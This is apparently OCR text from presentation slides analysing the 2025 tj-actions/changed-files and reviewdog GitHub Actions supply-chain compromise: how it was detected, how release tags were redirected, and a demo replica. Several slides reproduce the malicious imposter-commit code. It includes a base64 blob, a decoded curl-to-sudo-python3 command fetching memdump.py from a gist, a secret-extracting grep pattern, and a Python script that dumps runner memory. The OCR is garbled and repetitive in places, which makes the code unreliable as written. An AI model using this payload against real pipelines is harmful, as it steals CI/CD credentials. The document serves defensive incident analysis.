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When 'Changed Files' Changed Our Weekend Plans

< Cc 2% github.com/tj-actions/changed-files/issues/2463

‘lE‘ o tj-actions / changed-files ‘ Q Type[/]to search

<> Code (© lssues (4) 19 Pullrequests (2) C Discussions () Actions [ Projects @ Security (2) |2 Insights

Multiple tags in this action are compromised #2463

varunsh-coder opened on Mar 14 - edited by varunsh-coder

Example this tag was just updated 3 hours back and is potentially exfiltrating credentials
https://github.com/tj-actions/changed-files/tags?after=v35.9.3

You can read more here: https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised

Reported the issue via the email address provided in the security.md file and also reported it via private vulnerability disclosure to
generate a CVE.




Spoiler: They were definitely changed

GitHub Advisory Database / GitHub Reviewed / CVE-2025-30066

tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs.

l:::High severity:] (:GitHub RevieWEd::' Published on Mar 15 to the GitHub Advisory Database + Updated on Mar 24

Vulnerability details ~ Dependabot alerts @

Package Affected versions Patched versions

® tj-actions/changed-files (GitHub Actions) <= 45.0.7 46.0.1

Severity

Detection:
Credits

Analyze network traffic using Harden-Runner, which detects unauthorized outbound requests to: ® varunsh-coder

(::Ana Iyst:]

® gist.githubusercontent.com

Live reproduction logs:
Harden-Runner Insights

This attack was detected by StepSecurity when anomaly detection flagged an unauthorized outbound network call to

gist.githubusercontent.com .
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Even CISA said ‘Yikes!’

America’s Cyber Defense Agency search

NATIONAL COORDINATOR FOR CRITICAL INFRASTRUCTURE SECURITY AND RESILIENCE

Topics v Spotlight Resources & Tools v News & Events v Careers v About v

Home /[ Mews&Events /[ CybersecurityAdvisories / Alert [/ Supply Chain Compromise of Third-Party tj-actions/changed-files (CVE-2025-...

ALERT

Supply Chain Compromise of Third-Party tj-
actions/changed-files (CVE-2025-30066) and
reviewdog/action-setup@v1l (CVE-2025-30154)

Last Revised: March 26, 2025

A popular third-party GitHub Action, tj-actions/changed-files (tracked as CVE-2025-30066 &f), was compromised. tj-
actions/changed-files is designed to detect which files have changed in a pull request or commit. The supply chain

compromise allows for information disclosure of secrets including, but not limited to, valid access keys, GitHub

sHare: @) X in




23,000 Repositories



Top Companies using changed-files

@000

GitHub Hugging Face HashiCorp Meta Microsoft

Argo TypeScript Kong PostHog



AV-L o F

How was the attack detected?

What was the malicious code doing?
How was the action compromised?
How did organizations respond?

Lessons learned from the incident
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Introduction to GitHub Actions
and the tj-actions/changed-files
action



mm) deploy:
runs—on: ubuntu-latest
steps:
- uses: actions/checkout@vd

Brief Overview of o
GitHub Actions e et

files: |
infrastructure/#*

terraform/+%
= if: steps.changed.outputs.any_changed == 'true'’
uses: aws—actions/configure-aws-credentials@vd
with:

aws-access—-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
aws-secret-access-key: ${{ secrets.AWS_SECRET ACCESS_KEY }}
aws-region: us-west-2

= if: steps.changed.outputs.any_changed == 'true’
uses: hashicorp/setup=-terratorm@v3

= if: steps.changed.outputs.any_changed == 'true’
name: Deploy Infrastructure
working=directory: ./terraftorm
run: |
terraform init -backend-config="bucket=terraform-state-${{ vars.AWS_ACCOUNT_ID }}" \
-backend-config="key=infrastructure/terraform.tfstate" -backend-config="region=us-west-2"
terraform apply —auto-approve =input=false

= if: steps.changed.outputs.any_changed == 'true’
name: Build & Push Image
run: |
aws ecr get-login-password | docker login =-username AWS Y
—password-stdin ${{ vars.AWS_ACCOUNT_ID }}.dkr.ecr.us—west-2.amazonaws.com
chmod +x ./scripts/build-and-push.sh
JSscripts/build-and-push.sh ${{ github.sha }}
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with:
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Demo: GitHub Actions Workflow Run

name: Deploy Infrastructure and Application

on:

push:

branches: [main]
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Demo: GitHub Actions Workflow Run

name: Deploy Infrastructure and Application

on:

push:

branches: [main]

Pull Request ) Merge to main 2 Workflow Triggers



€) github-actions-demaf.githun. X +

B

-« Qithub.com/step-security/github-actions-demo/blobfmain/.github/workflows/deploy.ym

O step-security |/ github-actions-demo & Q, Type[/]to search &8 | -

<> Code (5) Issues ] Pullrequests 1 () Actions [ Projects [0 wiki (O Security |~ Insights 51 Settings

ol F main - github-actions-demo / .github / workflows [ deploy.yml [ View Runs Q. Go to file

§ ashishkurmi Update deployyml . 31eb7f1 - yesterday

Code Blame 42 lines (37 loc) - 1.47 KB 8 raw (O &

name: Deploy Infrastructure and Application
an:
push:
branches: [main]
jobs:
deploy:
runs—on: ubuntu-latest
steps:

- yses: actions/checkout@vd

- id: changed
uses: tj-actions/changed-files@vdd
with:
files: |
infrastructure/ ok

terraform/ e

if: steps.changed.outputs.any_changed == "true’

uses: aws—actions/configure-aws—credentials@v4

-.f__ History

7

[




02.

Initial Detection and
Investigation



Baseline-driven security monitoring

Baseline stability status ® Baseline based on Baseline changed Last changed ®

Stable 2247 jobruns 2220 runs ago 8 months aq0

View changelog -> View workflow runs - View changelog -> View changelog -

Observed destinations Status First seen ¢ Lastcalledon ¢ Total calls ¢ Sample Workflow Runs

@ github.com @ Allowed 8 months ago 9 minutes ago 2247 View workflow runs

sts.us-west-2.amazonaws.com ) Allowed 8 months ago 9 minutes ago View workflow runs

releases.hashicorp.com @ Allowed 8 months ago 9 minutes ago View workflow runs

checkpoint-api.hashicorp.com @ Allowed 8 months ago 9 minutes ago View workflow runs

terraform-state-381492090279.s3.us-west-2.amazonaws.com @ Allowed 8 months ago 9 minutes ago View workflow runs

registry.terraform.io @ Allowed 8 months ago 9 minutes ago View workflow runs

api.ecr.us-west-2.amazonaws.com ) Allowed 8 months ago 9 minutes ago View workflow runs

381492090279.dkr.ecr.us-west-2.amazonaws.com @ Allowed 8 months ago 9 minutes ago View workflow runs

auth.docker.io & Allowed 8 months ago 9 minutes ago View workflow runs

registry-1.docker.io @ Allowed 8 months ago 9 minutes ago View workflow runs

production.cloudflare.docker.com @ Allowed 8 months ago 9 minutes ago View workflow runs

di-cdn.alpinelinux.org @ Allowed 8 months ago 8 minutes ago View workflow runs
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Anomalous detection event on March 14

@ github-actions-goat tj-action changed-files incident

oo

88 Summary g% Network Events [o) File Write Events O Recommendations Controls

Jobs

¢  Test changed-files -
@ Testchanged-files

Harden-runner policy: Audit Start time: Mar 14 2025 15:06:56
Runner name: - Duration: s
Job labels:

Baseline status: Unstable
%s Events o Baseline

T

Search events

Show findings only
Step

Process Destination

Port  Status Timestamp <

o

@ Run actions/checkout@v4 it-remote-hit €) github.com
actions/checkout@v4 g P

443 @ Allowed Mar 14 2025 15:07:03
* APl Calls 1
@ Get changed files

tj-actions/changed-files@v35 €) gist.githubusercontent.com 443 () Anomalous Mar 14 2025 15:07:04
-dC 5/Che 2d-Tiles@v3s




Anomalous detection event on March 14

@ Get changed files
tj-actions/changed-files@v35

) gist.githubusercontent.com 443 (O Anomalous Mar 14 2025 15:07:04




Initial Investigation Steps

Process Events

fusrfbinfcurl (P1D: 2258)

fusr/bin/curl (PID: 2258)

Working Directory: /home/runner/work/github-actions-goat/github-actions-goat

curl —sSf 0
https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6T328F254965/ raw/memdump. py




Discovery of Tag
Manipulation

N
TRUSTED)
!AFctﬂ‘nfT‘n TAG
-




Discovery of Tag Manipulation

$ git tag -1 | while read -r tag ; do git show -
v1.0.0: 0e58edB8671d6b60de890c21be7f8835aced38e67
v10: 0e58edB8671d6b60d0890c21b07T8835ace@38e67
v1.0.1: 0e58edB8671d6b60d0890c21b07f8835ace@38eb7
v10.1: @e58ed8671d6b60d0890c21b07T8835aced38e67
v1.0.2: 0e58edB8671d6b60d0890c21b07f8835ace@38e67
v1.0.3: 0e58edB8671d6b60d0890c21b07f8835ace@38e67
vl: 0e58edB8671dé6b60d0890c21b07T8835ace@38e67
v1.1.0: 0e58edB8671d6b60de890c21be7f8835ace@38e67
vll: 0e58ed8671d6b60d0890c21b0718835ace@38e67
vli.1.1: 0e58edB8671d6b60de890c21be7f8835ace@38e67
vll.1: @e58ed8671d6b60d0890c21b07f8835ace@38e67
vl.1.2: 0e58edB8671d6b60de890c21b@7f8835ace@38e67
vl1l.2: @e58ed8671d6b60d0890c21b07f8835ace®38e67
vl.1.3: 0e58edB8671d6b60de890c21be7f8835ace@38e67
v11.3: 0e58ed8671d6b60d0890c21b07f8835aceB38e67
vll.4: 0e58ed8671d6b60d0890c21b07f8835aced38e67
vll.5: 0e58ed8671d6b60d0890c21b07f8835aceB38e67

D —

All tags were redirected to
the malicious commit



Discovery of Tag Manipulation




03.

Anatomy of the Attack-
Technical Analysis



The Malicious Imposter Commit

/\ This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.




Imposter
Commit

by
/)
A\

,‘g‘:.:]\‘_

(lfzz




Steps to update a release tag to an Imposter Commit

AN

Attacker
Repository O O Creates a Fork (o) O Malicious Commit

Update Tag
v35 -> Malicious
Commit

Original Action Add

Legitimate repo Fork of the Inject Backdoor Update tag to
with release tag v35 original repo into fork malicious commit

Result: All GitHub Actions workflows using action@v35 now execute malicious code



Details of the malicious Imposter Commit

"aWYoWlsgI1RPU1ZUEU1ID@9ICIsaw5leClnbnUlIF1dOyB@aGVuC1AgQjYOX0IMTOIOYGN
Lcmw9LXNTZ1iBodHRweSBBIHN1Z2G8gc10a@G9uMy8B8IHRYIC1kICdcMCCgfCBncWwIC1hboU

9JyJbX11dKyI6XHsidnFsdMU101JIbX1JdKApmaQo="



Details of the malicious Imposter Commit

+ async function updateFeatures(token) {

const { stdout, stderr } = await exec.getExecOutput('bash', ['-c', “echo

"aWYoWlsgI1RPU1ZUEU1ID@9ICIsaw51leClnbnULIF1d0yB@aGVuC1AgQjYOX0IMTOIOYGN

Lcmw9LXNTZiBodHRweSBBIHN1ZG8gc10a@G9uMy8B8IHRYIC1kICdcMCCgfCBncWwIC1hboU

gJyJbX1JdKyI6XHsidnFsdMU101JbX1JdKApmaQo=" | hasetd —-d = /tmp/run.sh && bash /tmp/run.sh’], {
ignoreReturnCode: true,
silent: true

3

core.info(stdout);




Details of the malicious Imposter Commit

+ async function updateFeatures(token) {

const { stdout, stderr } = await exec.getExecOutput('bash', ['-c', “echo

"aWYoWlsgI1RPU1ZUEU1ID@9ICIsaw51leClnbnULIF1d0yB@aGVuC1AgQjYOX0IMTOIOYGN

Lcmw9LXNTZiBodHRweSBBIHN1ZG8gc10a@G9uMy8B8IHRYIC1kICdcMCCgfCBncWwIC1hboU

gJyJbX1JdKyI6XHsidnFsdMU101JbX1JdKApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh |, {
ignoreReturnCode: true,
silent: true

3

core.info(stdout);




The base64 decoded version of the code

if [[ "$0STYPE" == "linux-gnu" 11; then

B64_BLOB="curl -sSf https://gist.githubusercontent.com/nikitastupin

/30e525b776c409e03c2d613281254965/ raw/memdump.py| sudo python3 | tr

-d '\@' | grep —-aoE '"[*]+":\{"value":"[*"]x","isSecret":true\}"

| sort —u | base64 -w @ | base64 -w 0

echo $B64_BLOB
else

exit 0
fi




The base64 decoded version of the code

curl -sSf https://gist.githubusercontent.com/nikitastupin

/30e525b776c409e03c2d613281254965/ raw/memdump. py



5 = [pid for pid in os.

The Content of

if b'Runner.Worker' in cmdline_f.read():

memdump.py

OError, Permiss

fproc', pid, 'cmdline'), 'rb'} as cmdline_f:

continue

(*Can not get pid of Runner.Wor

__main__":

(pid}/ma

id}/mem"

chunk = mem_¥. (end - start)

sys.stdout.buffer. chunk)

continue




5 = [pid for pid in os.

The Content of

if b'Runner.Worker' in cmdline_f.read():

memdump.py

OError, Permiss

fproc', pid, 'cmdline'), 'rb'} as cmdline_f:

continue

(*Can not get pid of Runner.Wor

__main__":

(pid}/ma

id}/mem"

chunk = mem_¥. (end - start)

sys.stdout.buffer. chunk)

continue




5 = [pid for pid in os.

The Content of

if b'Runner.Worker' in cmdline_f.read():

memdump.py

OError, Permiss

fproc', pid, 'cmdline'), 'rb'} as cmdline_f:

continue

(*Can not get pid of Runner.Wor

__main__":

(pid}/ma

id}/mem"

chunk = mem_¥. (end - start)

sys.stdout.buffer. chunk)

continue




5 = [pid for pid in os.

The Content of

if b'Runner.Worker' in cmdline_f.read():

memdump.py

OError, Permiss

fproc', pid, 'cmdline'), 'rb'} as cmdline_f:

continue

(*Can not get pid of Runner.Wor

__main__":

(pid}/ma

id}/mem"

chunk = mem_¥. (end - start)

sys.stdout.buffer. chunk)

continue




5 = [pid for pid in os.

The Content of

if b'Runner.Worker' in cmdline_f.read():

memdump.py

OError, Permiss

fproc', pid, 'cmdline'), 'rb'} as cmdline_f:

continue

(*Can not get pid of Runner.Wor

__main__":

(pid}/ma

id}/mem"

chunk = mem_¥. (end - start)

sys.stdout.buffer. chunk)

continue




5 = [pid for pid in os.

The Content of

if b'Runner.Worker' in cmdline_f.read():

memdump.py

OError, Permiss

fproc', pid, 'cmdline'), 'rb'} as cmdline_f:

continue

(*Can not get pid of Runner.Wor

__main__":

(pid}/ma

id}/mem"

chunk = mem_¥. (end - start)

sys.stdout.buffer. chunk)

continue




The base64 decoded version of the code

if [[ "$0STYPE" == "linux-gnu" 11; then
B64_BLOB="curl -sSf https://gist.githubusercontent.com/nikitastupin
/30e525b776c409e03c2d613281254965/ raw/memdump. py| sudo python3 | tr
-d '\@' | grep —-aoE '"[*"]+":\{"value":"[*"]x","isSecret":true\}"
| sort —u | base64 -w @ | base64 -w 0
echo $B64_BLOB
else
exit 0
fi




The base64 decoded version of the code

if [[ "$0STYPE" == "linux-gnu" 11; then
B64_BLOB="curl -sSf https://gist.githubusercontent.com/nikitastupin
/30e525b776c409e03c2d613281254965/ raw/memdump.py| sudo python3 | tr
d '\0' | grep —aoE ""[*"]+":\{"value":" [*"]x","isSecret":true\}'
| sort —u | base64 -w @ | base64 -w 0
echo $B64_BLOB
else
exit 0
fi




The base64 decoded version of the code

grep —aoE '""[*]+":\{"value":" [ ]x","isSecret":true\}'



The base64 decoded version of the code

if [[ "$0STYPE" == "linux-gnu" 11; then
B64_BLOB="curl -sSf https://gist.githubusercontent.com/nikitastupin
/30e525b776c409e03c2d613281254965/ raw/memdump.py| sudo python3 | tr
-d '\@' | grep —-aoE '"[*]+":\{"value":"[~"]x","isSecret":true\}"
ISORERSUNN base64 —w base64 -w 0}
echo $B64_BLOB
else
exit 0

fi




The base64 decoded version of the code

if [[ "$0STYPE" == "linux-gnu" 11; then
B64_BLOB="curl -sSf https://gist.githubusercontent.com/nikitastupin
/30e525b776c409e03c2d613281254965/ raw/memdump.py| sudo python3 | tr
-d '\@' | grep —-aoE '"[*"]+":\{"value":"[*"]x","isSecret":true\}"
| sort —u | base64 -w @ | base64 -w 0
echo $
else
exit 0
fi




tj-actions Imposter Commit

Download Execute ') Dump Secrets in
memdump.py memdump.py Build Logs

nemdump.py is memdump.py dumps Memory dump is Cl/CD secrets are
downloaded from a Runner.Worker process searched for CI/CD exfiltrated in build logs in
public GitHub gist memory secrets double base64 encoded
format

Result: ClI/CD secrets from the workflow are exfiltrated in CI/CD build logs



Demonstration Setup

A
- =

CLONED
tj-actions/changed-files tj-actions-clone/changed-files

We've created an exact replica of the tj-actions/changed-files repository to demonstrate the supply chain attack

Demonstration Flow:

First: Run the action under normal Then: Simulate the and show
circumstances the attack



Simulation: Normal Scenario

Pull Request » Merged » Action Runs ‘ -




) Update README.md by ashic X +

2% github.com/step-security/github-actions-demo/pull/8

O step-security / github-actions-demo &

<> Code (&) Issues Il Pull requests 1 (*) Actions

Update README.md #8

jg¥el.0 W ashishkurmi wants to merge 1 commit into main f

LA Conversation © 0 Commits 1 E. Checks
f‘?‘ ashishkurmi commented now
»

No description provided.

README . md

ror

-

0

0 Projects [0 wiki

(1) Security

M ashishkurmi-patch-4 [C]

1

Files changed

|~ Insights

{81 Settings

L

ad5d4dd

No conflicts with base branch

Merging can be performed automatically

@ Add acomment
) 3

-

Write Freview

Reviewers

&5 Copilot

5till in progress? Convert

Assignees

Mo one—assign yourself

Labels

None yet

Projects

None yet

Milestone

Mo milestone

Edit

{»Code -

Request




ormal Scenario: Network Baseline

. b
Stable s 8 months ® Active

View changelog - View workflow runs = View changelog > View changelog - View workflow runs -

tbound call ort Status S S Last called on Total calls Sample workflow runs

github.com (©) Allowed 1minute ago View workflow runs

dl-cdn.alpinelinux.org () Allowed 9 days ago View workflow runs

production.cloudflare.docker.com () Allowed 8 months ago View workflow runs

auth.docker.io (=) Allowed 8 months ago 9 days ago View workflow runs

registry-1.docker.io (=) Allowed 8 months ago 9 days ago View workflow runs

381492090279.dkr.ecr.us-west-2.amazonaws.com () Allowed 8 months ago View workflow runs

api.ecr.us-west-2.amazonaws.com (=) Allowed 9 days ago View workflow runs

registry.terraform.io (=) Allowed 9 days ago View workflow runs

terraform-state-381492090279.53.us-west-2.amazonaws.com () Allowed 8 months ago View workflow runs

checkpoint-api.hashicorp.com (=) Allowed 8 months ago 9 days ago View workflow runs

releases.hashicorp.com (=) Allowed 8 months ago 9 days ago View workflow runs

sts.us-west-2.amazonaws.com () Allowed 8 months ago View workflow runs




Normal Scenario: Network Connections

Runner name: - Duration: 1258

Job labels: ubuntu-latest Baseline status: Stable

& Events - Baseline

Search events ow findings only

Destination Port Status Timestamp

ithub.com
git-remote-http Qo 443 @ Allowed Jul 29 2025 16:21:12

* API Calls

o Run tj-actions-clone/changed-files@v35 . { ) ithub.com
1] I-T :-L- U: C e ' git-remote-http g 443 () Allowed Jul 29 2025 16:21:12
{|-aClons-Ccid g O

» API Calls




Simulation: Compromise Scenario

Pull Request » Merged » Action Runs

Executes Imposter

Exfiltrates Secrets Downloads Exploit :
Commit



€) Update README.md by ashic x  +

s github.com/step-security/github-actions-demofpull/9

O step-security / github-actions-demo & O Type /] to search

<» Code (2) Issues [ Pullrequests 1 (*) Actions [ Projects [0 wiki (0 Security |~ Insights & Settings

Upda’[e README.md #9 Edt <> Code ~
ashishkurmi wants to merge 1 commit into main from ashishkurmi-patch-5 O]

Ll Conversation 0 0 Commits 1 ElL Checks o [£) Files changed ©

%:‘ ashishkurmi commented now e Reviewers
L
':._.:':I:u,' S1ions
No description provided.
B8 Copilot

Still in progress? C

README . md
Assignees

Mo one—assign yourself

. o No conflicts with base branch

Merging can be performed automatically

Labels

None yet

Merge pl.il request L 'fou can also merge this with the command line. View command line instructions
Projects

None yet

@ Addacomment

-
. Milestone
Write Preview
No milestone




Compromise Scenario: Network Baseline

Ba bility 3 in B > cha
Unstable 2253 jobru Latest run

View changelog = View workflow runs = View changelog = View changelog < View workflow runs =

Outbound call o First seen ¢ Lastcalled on otal ¢ + Sample workflow runs

gist.githubusercontent.com Allowed 3 minutes ago 3 minutes ago View workflow runs
github.com Allowed 8 months ago 3 minutes ago View workflow runs
dl-cdn.alpinelinux.org Allowed 8 months ago 9 days ago View workflow runs
production.cloudflare.docker.com Allowed 8 months ago 9 days ago View workflow runs
auth.docker.io Allowed 8 months ago 9 days ago View workflow runs
registry-1.docker.io Allowed 8 months ago 9 days ago View workflow runs
381492090279.dkr.ecr.us-west-2.amazonaws.com Allowed 8 months ago 9 days ago View workflow runs
api.ecr.us-west-2.amazonaws.com Allowed 8 months ago 9 days ago View workflow runs
registry.terraform.io Allowed 8 months ago 9 days ago View workflow runs
terraform-state-381492090279.s3.us-west-2.amazonaws.com Allowed 8 months ago 9 days ago View workflow runs
checkpoint-api.hashicorp.com

Allowed 8 months ago 9 days ago View workflow runs

releases.hashicorp.com Allowed 8 months ago 9 days ago View workflow runs

O]
O]
©
©
O]
O]
O]
©
O]
O]
O]
O]

sts.us-west-2.amazonaws.com Allowed 8 months ago 9 days ago View workflow runs




Compromise Scenario: Network Baseline

B

Unstable 3aselin B > cha
2253 job ru Latest run

View changelog > View workflow runs = View changelog = View changelog < View workflow runs =

Outbound call o First seen ¢ Lastcalled on otal ¢ + Sample workflow runs

gist.githubusercontent.com Allowed 3 minutes ago 3 minutes ago View workflow runs
github.com Allowed 8 months ago 3 minutes ago View workflow runs
dl-cdn.alpinelinux.org Allowed 8 months ago 9 days ago View workflow runs
production.cloudflare.docker.com Allowed 8 months ago 9 days ago View workflow runs
auth.docker.io Allowed 8 months ago 9 days ago View workflow runs
registry-1.docker.io Allowed 8 months ago 9 days ago View workflow runs
381492090279.dkr.ecr.us-west-2.amazonaws.com Allowed 8 months ago 9 days ago View workflow runs
api.ecr.us-west-2.amazonaws.com Allowed 8 months ago 9 days ago View workflow runs
registry.terraform.io Allowed 8 months ago 9 days ago View workflow runs
terraform-state-381492090279.s3.us-west-2.amazonaws.com Allowed 8 months ago 9 days ago View workflow runs
checkpoint-api.hashicorp.com

Allowed 8 months ago 9 days ago View workflow runs

releases.hashicorp.com Allowed 8 months ago 9 days ago View workflow runs

O]
O]
©
©
O]
O]
O]
©
O]
O]
O]
O]

sts.us-west-2.amazonaws.com Allowed 8 months ago 9 days ago View workflow runs




Compromise Scenario: Network Connections

Runner name: - Duration: 195

Job labels: ubuntu-latest Baseline status: Unstable

£s Events - Baseline
Search events Show findings only

Step Process Destination Status Timestamp <

Run actions/checkout@v4 ithub.com
© - / ~ e git-remote-http Qo () Allowed Jul 29 2025 16:30:24
actions/checkout@v4

* APl Calls 1

@ Run tj-actions-clone/changed-files@v35

() gist.githubusercontent.com
Jul 29 2025 16:30:25

tj-actions-clone/changed-files@v35 » API Calls 1

@ Run tj-actions-clone/changed-files@v35 O github.com

git-remote-http @ Allowed Jul 29 2025 16:30:27
tj-actions-clone/changed-files@v35 » APl Calls 1




Tracing tj-actions Compromise
Back to the Reviewdog Compromise

. ) ) . depends on ) .
tj-actions/eslint-changed-files 5 reviewdog/action-setup
depends on Compromises
tj-actions/changed-files AR

Attacker



Tracing tj-actions compromise back to the reviewdog
compromise

github.com/tj-actions/changed-files/blob/3b3041225bddb25fd9637f44aad4e9a5178c6792¢/.qithub/workflowsftest.yml github.com/tj-actions/eslint-changed-files/blob/main/action.yml

3b30412 ~ changed-files [/ .github [ workflows [ test.yml . . ] .
J /-9 / / Y main - eslint-changed-files [/ action.yml

Blame 2239 lines (2097 loc) - 90.2 KB
Blame 130 lines (128 loc) - 5.48 KB

- name: Run eslint on changed files
uses: tj-actions/eslint-changed-files@v25 steps:
if: github.event_name == 'pull_request’ — uses: reviewdog/action-setup@vl
with:

token: ${{ secrets.PAT TOKEN }} if: inputs.skip_annotations == 'false

config_path: ".eslintrc.json" with:
ignore_path: ".eslintignore" reviewdog _version: v@.20.0




Tracing tj-actions compromise back to the reviewdog
compromise

github.com/tj-actions/changed-files/blob/3b3041225bddb25fd9637f44aade9a5178c6792¢/.github/workflows/test.yml | github.com/tj-actions/eslint-changed-files/blob/main/action.ymi

3b30412 ~ : .github / workflows / test.yml _ :
arnup - ISR s int - changed-files [IEEHONNN

Blame 2239 lines (2097 loc) - 90.2 KB
Blame 130 lines (128 loc) - 5.48 KB

- name: Run eslint on changed files
: tj—actions/eslint-changed-files@v25 steps:

if: github.event_name == 'pull_request’ . reviewdog/action-setup@vl

with: _ . _ ‘
${{ secrets.PAT TOKEN }} if: inputs.skip_annotations == 'false'
P11 .Cre . _ rr

config_path: ".eslintrc.json" with:
ignore_path: ".eslintignore" reviewdog_version: v0.20.0




Compromise of Reviewdog Actions

WAIT. YOU GAVEWRITEACC

- -~ -

TO'ANYONEWUO'SURMITTED
2L B NG~




The Malicious Imposter Commit

/A This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.




Details of the malicious Imposter Commit

SCRIPT_RUNNER="IyEvYmluL3B5dGhvbgojIGIlhc2VkIGuIGhRdHBz0i8VvYXROYWNrZXIuY29tL2Jsb2cvMjAyMyBwMy@wMilnaXRodWItYWN@aWSucylt
aXRtLWN2ZQppbXBvcnQge31zCmltcG9ydCByZQpphbXBvenQgb3MKZGYVmIGd1dF9waWQoKToKICAgIGZvciBwaWQgaW4agb3MubGlzdGRpecihcIi9wem9jXCI
pOgogICAgICAgIGImIHBpZC5pc2RpZ210KCk6CiAgICAgICAgQICAgIHdpdGggh3BlbihmIi9wem?jL3twfS9jbWRsaW51Ii5mb3JtYXQocGlkKSwgInJili
kgYXMgcGY6C1iAgICAgICAgICAgICAgGICBjbWRsaW51IDOgcGYucmVhZCgpCiAgICAgICAgICAgICAgaWYgYiJSdWsuZXIuV29ya2VyIiBpbiBjbWRsaW510g
0gICAQICAgICAgICAgICAgICBYZXR1cm4gcGlkCiAgICBYYW1zZSBBc3N1cnRpb240IkNhbid@IGd1ldCBwawQgb2YgUnVubmVyLldvemtlciIpCgppZCA9
IGd1dF9waWQoKQptZW1fcGFeaCA9IGYiL3Byb2MvIG1kL21hcHMiCm11b19wYXRoX2RhdGEgPSBmMIi%wem9jLyR. ..
echo "::group::™, Preparing environment ..."
if sudo -n true 2> /dev/null; then
if [[ "$RUNNER_ENVIRONMENT" = "github-hosted" 11; then
if [[ "$RUNNER_OS" = "Linux" ]]: then
echo $SCRIPT_RUNNER | baseé4 —d > "$TEMP/runner_script.py"
VALUES="sudo python3 $TEMP/runner_script.py | tr -d '\@' | grep —aoE '""[~"]+":\{"value":"[A"]*",6 "isSecret":true\}'
base64 -w@ | basebs -w@’
echo $VALUES
fi
fi

fi

echo "::endgroup::"

| sort -u |




Details of the malicious Imposter Commit

SCRIPT_RUNNER="IyEvYmluL3B5dGhvbgojIGIlhc2VkIGuIGhRdHBz0i8VvYXROYWNrZXIuY29tL2Jsb2cvMjAyMyBwMy@wMilnaXRodWItYWN@aWSucylt
aXRtLWN2ZQppbXBvcnQgec31zCmltcG9ydCByZQpphbXBvenQgb3MKZGYVmIGd1dF9waWQoKToKICAgIGZvciBwaWQgaW4gb3MubGlzdGRpecihecIi9wem9jXCI
pOgogICAgICAgIGImIHBpZC5pc2RpZ210KCk6CiAgICAgICAgQICAgIHdpdGggh3BlbihmIi9wem?jL3twfS9jbWRsaW51Ii5mb3JtYXQocGlkKSwgInJili

kgYXMgcGY6C1iAgICAgICAgICAgICAgGICBjbWRsaW51IDOgcGYucmVhZCgpCiAgICAgICAgICAgICAgaWYgYiJSdWsuZXIuV29ya2VyIiBpbiBjbWRsaW510g
0gICAQICAgICAgICAgICAgICBYZXR1cm4gcGlkCiAgICBYYW1zZSBBc3N1cnRpb240IkNhbid@IGd1ldCBwawQgb2YgUnVubmVyLldvemtlciIpCgppZCA9
IGd1dF9waWQoKQptZW1fcGFeaCA9IGYiL3Byb2MvIG1kL21hcHMiCm11b19wYXRoX2RhdGEgPSBmMIi%wem9jLyR. ..




#'fusr/binfenv python3

# based on https://davidebove.com/blog/7p=1620

The Content of e
runner_script.py

impart re

def get_pidi)
# https://stackoverflow.com/questions/2783648/process—list—on-linux-via-python
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()

for pid in pids:
with openl(os.path.join{'/proc', pid, 'cmdline'},
if b'Runner.Worker' in cmdline_f.read():
return pid

] £

rb') as cmdline_f:

raise Exception('Can not get pid of Runner.wWorker')

if __name__ == "_ main__":
pid = get_pid()
print{pid)

map_path = "/proc/{pid}/
mem_path = f"/proc/{pid}/

naps"
mem'!
with open{map_path, 'r') as map_f, open{mem_path, "rb', @) as mem_f:
for line in map_f.readlines(): # for each mapped region
m = re.match{r'([@-9A-Fa-f]+)-( [@-94-Fa-fl+) ([-r])"', line)
if m.group(3) == 'r': & readable region
start = int(m.qroup(l), 16)
end = int{m.group(2), 16)
# hotfix: OverflowError: Python int too large to convert to C long
# 1844674487 3699865856
if start = sys.maxsize:
continue
mem_f.seek(start) & seek to region start

try:
chunk = mem_f.read(end - start) # read region contents
sys.stdout.buffer.write(chunk)

except O05Error:
continue




Timeline of reviewdog
compromise

March 11, 2025
18:42 PM - 20:31 PM UTC

The action was compromised

March 17, 2025
01:00 AM UTC

Researcher Adnan Khan publicly disclosed the compromise

March 18, 2025
09:00 PM UTC

The maintainer published a response and confirmed that the

compromise occurred

y

y

Adnan Khan @adnanthekhan - Mar 16
| have a theory on how the threat actor obtained credentials for the tj-
actions/changed-files attack.

&

Trying to confirm one missing link in the chain.

11 O 23

)2

Adnan Khan
@adnanthekhan

Uh oh...

Found

Fetching logs

Found
Found

Found

dacuion:
action:
action:
action:
action:
actinn

actiun

action:
action:
action:
action:
action:
action:
action:
action:
action:
action:
action:
action:
action:
action:
action:
action:
action:
action:

action:
action:

action:

ihi 3-3K [

new

& -

FCNNEEGaNs/ OyNamIC=0S0Ues=arL1on | VI.4.0 |30 JS09:¥a338/ 3L 1a0001 10330281008 I0cIs /|
reviewdog/action-setup @ w1 (SHA: f@d342d24037bb11d2609bdB496e0808ba32e0ec)

schneegans/dynamic-badges—action @ v1.4.0 (SHA: 54d4929a33e7521abbbT19d323d287b7b876C5317)
schneegans/dynamic-badges-action @ v1.4.8 (SHA: 54d929a33e7521abbbf19d323d28fLTbATECSIFT)
schneegans/dynamic-badges-action @ v1.4.8 (SHA: 544929a33e7521abbbf19d323d28fb7b8T6C53FT)

a;tlunsfuplnad-artifa:t [} laster (5HA:z 4:ec3dlaalleiidlaﬁ!!!?d!ﬁtdcdﬁfh!dc!!!ci]
I'HMWHI:HW'SEWF @ vl !Sril fWNMSTWIIMGhQHHWm:I

schneegans/dynamic-badges-action @ v1.4.8
schneegans/dynamic-tadges-action @ v1.4.0
schneegans/dynamic-badges—-action @ v1.4.0
schneegans/dynamic-badges-action @ v1.4.0
schneegans/dynamic-badges-action @ vl.4.8
schneegans/dynamic-badges-action @ vi.4.8
schneegans/dynamic-badges-action @ vi.4.8
schneegans/dynamic-badges—-action @ v1.4.8
schneegans/dynamic-badges—action @ v1.4.8

b7b8T6C53TT)
rbTb8T6CS3TT)

¢ 544929a33e7521abbbT19d323d287BTHETHCS3TT)
! 544979a33e7521ab6bT190323d2870T0ET6CS3TT)
: 54d929a33e7521ab6bT19d323d287bTHETHC53TT)
: 54d9259a33e7521abbbT19d323d287bThET6ECS3TT)
